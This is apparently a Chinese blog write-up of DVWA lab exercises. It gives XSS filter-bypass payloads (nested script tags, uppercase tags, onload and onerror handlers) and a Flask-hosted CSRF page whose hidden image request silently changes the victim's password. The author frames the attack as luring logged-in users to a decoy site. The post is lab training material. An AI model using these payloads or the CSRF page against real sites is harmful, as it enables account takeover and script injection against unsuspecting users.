XSS-CSRF的bvwa破解

A-XSS-Reflected

一、XSS:(中级别)
  1. 测试payload:“<script>alert(“xss”)</script>”:测试结果:
image.png
  1. 发现输入的<script>被去掉了,那么猜测是否后台过滤了此标签:进行第二步如下
    输入Payload:“<scr<script>ipt>alert("xss")</script>”此设计是后台假如去掉了中间的<script>,则两边的刚好又拼凑成一个完整的script标签。所以这样进行尝试绕过:结果如下:被绕过:说明猜测正确:
image.png
二、XSS(高)

用先前的Payload“<scr<script>ipt>alert("xss")</script>”已经不能进行注入,因为显示结果如下:


image.png

2.则猜测可能后台将所有的<script>字符都去除掉了。但是JS执行的地方不只是只能通过<script>标签,比如img的onerror属性,html的onload属性,分别用下面两个payload测试:
(1)Payload: “<body onload=alert(/xss/)>”,如下:成功注入:


image.png

(2)Payload:“<img scr=’das’ onerror=alert(“XSS-HAHA”)>”,
image.png

A-XSS-Stored:

一.中级别:

1.测试是否对特殊字符有转义或者过滤:输入payload 如下:
Nmae: <'>"/ln; Messages: <liuning'/">, 结果如下图:


image.png

可见,Name值没有过滤,而messages值全部过滤掉了。则重点测试对象为name。
2.name输入Payload如下:<script>alert(XSS-Stored)</script>,输入如图:

image.png

期间name框输入长度不够,更改代码后输入,结果如下图:


image.png

则推测后台将script标签过滤了,所以进行尝试绕过:输入Name字段为<scr<script>ipt>alert(“xssSSSS”)</script>, 发现没有成功,可能是将拼凑的又过滤了,那么试试大写:<Script>alert(/xss/)</script>,成功破解:


image.png

,那么再次思考下,可能其他的HTML事件属性如onerror, onload,onresize也没有做过滤。测试onerror如下(Name的payload=<body onload=alert(/XSS_STORED/)>)成功入侵,
image.png
二.高级别:

测试onload事件是否做了过滤:
Name的Payload:<body onload=alert(/XSS_STORED-HIGH-LALA/)> 结果如下:

image.png

同样,这个没有过滤,说明此属性没有被过滤。那么再来测测是否对多有的script标签进行了过滤:输入payload如下:<Script>alert(/xss/)</script>,结果如下,说明后台对所有的script标签都进行了过滤、

image.png

B-CSRF-MIDDLE级别

1.在自己的机器上(这里为了方便,也只是在本地的127.0.0.1上开了个4413端口进行模拟黑客服务器)。脚本如下:(命名为crsf.py)

# coding:utf-8
# author: chaser

from flask import *

app = Flask(__name__)

@app.route('/')
def scan_enter():
    return render_template('csrf1.html')

if __name__ == '__main__':
    app.run('127.0.0.1', port=4413, debug=True)
然后在templates目录下放置页面html: 命名为csrf1.html。
<!DOCTYPE html>
<html>
<head>
   <title>CSRF1</title>
</head>
<body>
   ![](http://127.0.0.1/dvwa/vulnerabilities/csrf/?password_new=hacker_ln&password_conf=hacker_ln&Change=Change)
   <p>Wa!You are so cute!</p>
</body>
</html>

当受害者在没有登出自己的dvwa程序时,(保留有自己的登录态)突然浏览其他网站,比如某一个广告的美女站点(我的站点可以模仿为充满了美女的站点),或者是我自己的博客网站。当他点击进来后,发现一个“Wa!You are so cute! ”(被赞美了,或者是在浏览我的正常的一个博客)那么此时CSRF已经完成。因为我的页面上有一个<img>标签,而标签的src是一个链接,此链接的功能是修改这个受害人的admin密码。(当然我事先要捕获到这个修改密码的链接)。当他沉浸在我站点的美女图或者博文里时,自己的密码已经被我改了而不自知。哈哈。如下:


image.png

点击后(同一浏览器)的结果:


image.png

然后他返回到自己的被攻击的站点中,这里是dvwa的站点。(或者我们可以做成将他跳转回他来源的那个站点的主页,只需要在我们的恶意网址上添加代码就可以)
setTimeout("javascript:location.href='127.0.0.1/dvwa/'", 5000); 这个是5秒后跳转到主页的方式。

当它退出后,下次重新登录就会发现登陆不进来,密码错误。


image.png

而正确的密码是hacker_ln:
image.png

成功登陆:
image.png
最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容

  • Spring Cloud为开发人员提供了快速构建分布式系统中一些常见模式的工具(例如配置管理,服务发现,断路器,智...
    卡卡罗2017阅读 135,026评论 19 139
  • 之前积累了XSS 有一段时间,因为目前开始了一件有趣的工程,需要整合非常多的知识,其中Web 安全这一块出现最多的...
    刀背藏身阅读 9,278评论 0 16
  • 基础 XSS就是让浏览器执行想插入的js。那么如何发现这些漏洞呢?只要有输入和输出的地方都伴随着漏洞的产生,下面介...
    lotuslwb阅读 1,013评论 0 0
  • 在那个年代,大家一般用拼接字符串的方式来构造动态 SQL 语句创建应用,于是 SQL 注入成了很流行的攻击方式。在...
    Gundy_阅读 561评论 0 5
  • 我,今年23岁,94年的,也许是因为懒吧,感觉索取任何东西都很麻烦,或者太安逸没有想过会多么的痛苦的生活。这时候我...
    平凡的阿群阅读 269评论 0 0